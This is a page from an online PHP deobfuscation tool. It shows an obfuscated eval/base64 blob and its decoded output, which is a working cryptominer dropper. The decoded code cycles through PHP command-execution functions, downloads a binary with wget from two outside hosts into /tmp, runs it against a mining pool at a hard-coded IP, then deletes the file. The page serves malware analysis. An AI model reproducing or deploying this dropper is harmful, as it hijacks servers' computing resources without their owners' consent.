Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode("rVVtb9owEP4rtygjjpoXkr6Nolbrpn3ePk6aKmQch1g4iWc7Lajrf5+dlwKF..

Decoded Output download

if(is_dir("/tmp/")) $dir = "/tmp/"; else exit; $urlArr = array("http://maiqbelle.de/plugins/system/debug/xm", "http://kcincbuilders.com/images/demos/xm"); $pkillcommand1 = "pkill -f 33:9691 2>&1 &"; $pkillcommand2 = "pkill -f 33:9694 2>&1 &"; $command = "wget %s -O " . $dir . "httpd ; chmod +x " . $dir . "httpd ; " . $dir . "httpd -o stratum+tcp://51.89.22.97:1000 -u X".rand()." --opencl -k --donate-level 1 --max-cpu-usage 60 -B 2>&1 &"; if(strpos(system('echo 0 | md5sum'), '29176') > 0){ function execCommand($arg){ return system($arg); } }elseif (strpos(passthru('echo 0 | md5sum'), '29176') > 0) { function execCommand($arg){ return passthru($arg); } }elseif (strpos(shell_exec('echo 0 | md5sum'), '29176') > 0) { function execCommand($arg){ return shell_exec($arg); } }elseif (strpos(exec('echo 0 | md5sum'), '29176') > 0) { function execCommand($arg){ return exec($arg); } }elseif (function_exists('python_eval')){ function execCommand($arg){ return python_eval('import os; os.system('.$arg.');'); } }elseif(class_exists('Perl')){ function execCommand($arg){ $perl=new Perl(); $r=$perl->system($arg); print($r); } }else{ try{ function execCommand($arg){ $p=@pcntl_fork(); if(!$p){ @pcntl_exec("/bin/sh",Array("-c",$arg)); }else{@pcntl_waitpid($p,$status); } } execCommand('echo 0 | md5sum'); }catch(Exception $e){ print_r($e); try{ function execCommand($arg){ $p=array(array('pipe','r'),array('pipe','w'),array('pipe','w')); $h=@proc_open($arg,$p,$pipes); if($h&&$pipes){ echo(fread($pipes[1],4096)); echo(fread($pipes[2],4096)); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($h); } }execCommand('echo 0 | md5sum'); }catch(Exception $e2){ print_r($e2); try{ function execCommand($arg){ $h=@popen($arg,'r'); if($h){ echo(fread($h,4096)); } execCommand('echo 0 | md5sum'); } }catch(Exception $e3){ print_r($e3); } } } } if (strpos(execCommand("ps aux 2>&1 &"), '51.89.22.97:1000 -u X') > 0) { echo 'already started'; } else { echo execCommand(sprintf($command, $urlArr[0])); if(!file_exists("/tmp/httpd") && !file_exists("./httpd")) echo execCommand(sprintf($command, $urlArr[1])); sleep(10); } if(file_exists("/tmp/httpd")) unlink("/tmp/httpd");

Did this file decode correctly?

Original Code

eval(gzinflate(base64_decode("rVVtb9owEP4rtygjjpoXkr6Nolbrpn3ePk6aKmQch1g4iWc7Lajrf5+dlwKFqlSqEAjfne957jn7zHLE1CxjEjmxLkXs+D64ZgnX0BumQLmiQFdMT8FtJL+V1oulxGvkFFqLqzguMfs7p5zTKKOx4M2CVSpWa6VpGWd03iziVekEMIQvCavIvGE8o1JFpC5jVuIFVSa2rJWN9Q2WWDLOjbPEVZZYQq0BwhxOT68mF5ME0ptRAiPnRWx6IPZsK7YPs1EPC6rhs4LwJzgQdZVHHc0MpkCKss7gZHXQuW8La1BaYt2UJ5rYOs+T6MskStNocnmVjMdjCBv47UTSoCM/ciAMa0ErYnguzf+srrCmIaf3lENiDCVehUQ0YaOMOHBhtn/blMFyZMBErVCnM/IoKWoYwz8os3PVlJ4fgJdOkssLz4cbGPuPkDcV0ayuTDcp+d7JgFwsF8YnqW5kBX2y1jiFJ3iy3Wc5DGACK6UL2bwNB0fhPed7FVEV5mDNbIaPwtzK+CrqR+K9gjTsNEyY0gp5Yq0Lu7zH3POPa9fWFuSxUtRSQ62m5hsNxyKyOyLPn3rb8Ihwo/wz9C8q38Z0hYm6rugD2HBk76i8bo3hze65EZJVGrlyg/gIWq7fSn/9VZBK81ley6VNb2h+coVx9fZWSCeesypWhRPcdjMoJE7QprBoLVYf/oCZFszkF4GrtLmXquOzA77fYxNDsCYF+rEiVLRsXWpItEXNJDKL6VHVdDOy+/UEE9QLPGnO0K7l4ZDFalsYOWRNZnZGtFkDW4iNUZ02bjEa9etHsGWgXFJs67W2P8ldcDaeXNhc+85048wJrxUdHOO7PVOyb0rv2i4bdr256Fv9fmXTHWnTo7S10mxksaL2grwQongu8oimHyJ3ukPutD8/9vNiVgyZHaEAN6thTtuBcfAV2AyQloqHuWW8Ng8IlppmXsvYPrx9wDaGahmZcvuXLBjeZdu8/trkjNPhdncveftGOT6MRrDrjQaX/x6opIVSnFKBknErjMF9FdaHpuKsWu5ap/8B")));

Function Calls

gzinflate 1
base64_decode 1

Variables

None

Stats

MD5 592857a9cc55c10a48f66f6efedf7295
Eval Count 1
Decode Time 95 ms